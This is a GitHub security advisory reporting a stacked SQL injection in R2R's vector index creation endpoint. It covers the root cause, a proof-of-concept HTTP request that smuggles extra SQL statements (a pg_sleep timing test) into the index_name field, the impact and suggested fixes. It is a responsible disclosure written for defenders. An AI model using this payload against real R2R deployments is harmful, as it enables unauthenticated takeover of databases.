Skip to content

[Security] Stacked SQL Injection via Unquoted Index Name in Vector Index Creation Endpoint #2309

Description

@DReazer

Stacked SQL Injection via Unquoted Index Name in Vector Index Creation Endpoint

Package: SciPhi-AI/R2R
Tested Versions: R2R 3.6.6 (pyproject.toml), Git main at 9c5a94d, Docker image sciphiai/r2r:latest (default config)


Affected Files

  • py/core/providers/database/chunks.pycreate_index() (f-string interpolation of index_name into CREATE INDEX SQL)
  • py/core/providers/database/base.pyexecute_query() without params (simple-query protocol, accepts stacked statements)
  • py/core/main/api/v3/indices_router.pyPOST /v3/indices (no authentication requirement, no identifier validation)
  • py/r2r/r2r.tomlrequire_authentication = false, orchestration.provider = "simple" (default)

Root Cause

create_index() constructs the CREATE INDEX statement by f-string interpolating the caller-supplied index_name directly into SQL without identifier quoting or allowlist validation. When concurrently=False, the resulting string is executed via execute_query() with no bound parameters, which calls conn.execute(query) on the asyncpg connection. asyncpg's execute() uses the simple-query protocol, which accepts multiple semicolon-separated statements in a single string. On the default deployment require_authentication = false maps unauthenticated requests to the built-in superuser with no additional authorization check on this route.


PoC

POST /v3/indices HTTP/1.1
Host: 127.0.0.1:7272
Content-Type: application/json
Accept: application/json

{
  "config": {
    "table_name": "chunks",
    "index_method": "hnsw",
    "index_measure": "cosine_distance",
    "index_name": "idx_s1 ON r2r_default.chunks USING btree (id); SELECT pg_sleep(5); CREATE INDEX idx_t1",
    "concurrently": false
  },
  "run_with_orchestration": false
}

The f-string template produces three complete SQL statements:

CREATE INDEX idx_s1 ON r2r_default.chunks USING btree (id);
SELECT pg_sleep(5);
CREATE INDEX idx_t1
ON r2r_default.chunks
USING hnsw (vec vector_cosine_ops) WITH (m=16, ef_construction=64);

Actual response: HTTP 200 after ~5.07 s (Burp: 6,064 ms):

{"results": {"message": "Vector index creation task completed successfully."}}

Both idx_s1 (btree on id) and idx_t1 (hnsw on vec) present in r2r_default.chunks after the request. Empty chunks table is sufficient; no prior document ingestion required.


Impact

An unauthenticated attacker can execute arbitrary stacked SQL statements as the application's database role. On the default Docker deployment that role is PostgreSQL superuser postgres (default password postgres). Unlike the filter-key injection sink, this path uses asyncpg's simple-query protocol, which accepts semicolon-separated statements including DDL and DML, enabling full read, write, and schema modification of the database. Enabling authentication without also quoting identifiers and restricting the route to superusers leaves any authenticated user with the same capability.


Suggested Remediation

Treat index_name and index_column as SQL identifiers: allowlist against ^[A-Za-z_][A-Za-z0-9_]*$ and pass through quote_ident or an equivalent identifier-quoting API. Never interpolate them via f-string into SQL. Require superuser role for POST /v3/indices and DELETE /v3/indices/.... Set require_authentication = true as the default and do not map anonymous requests to the superuser. Do not configure the application database connection as a PostgreSQL superuser.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions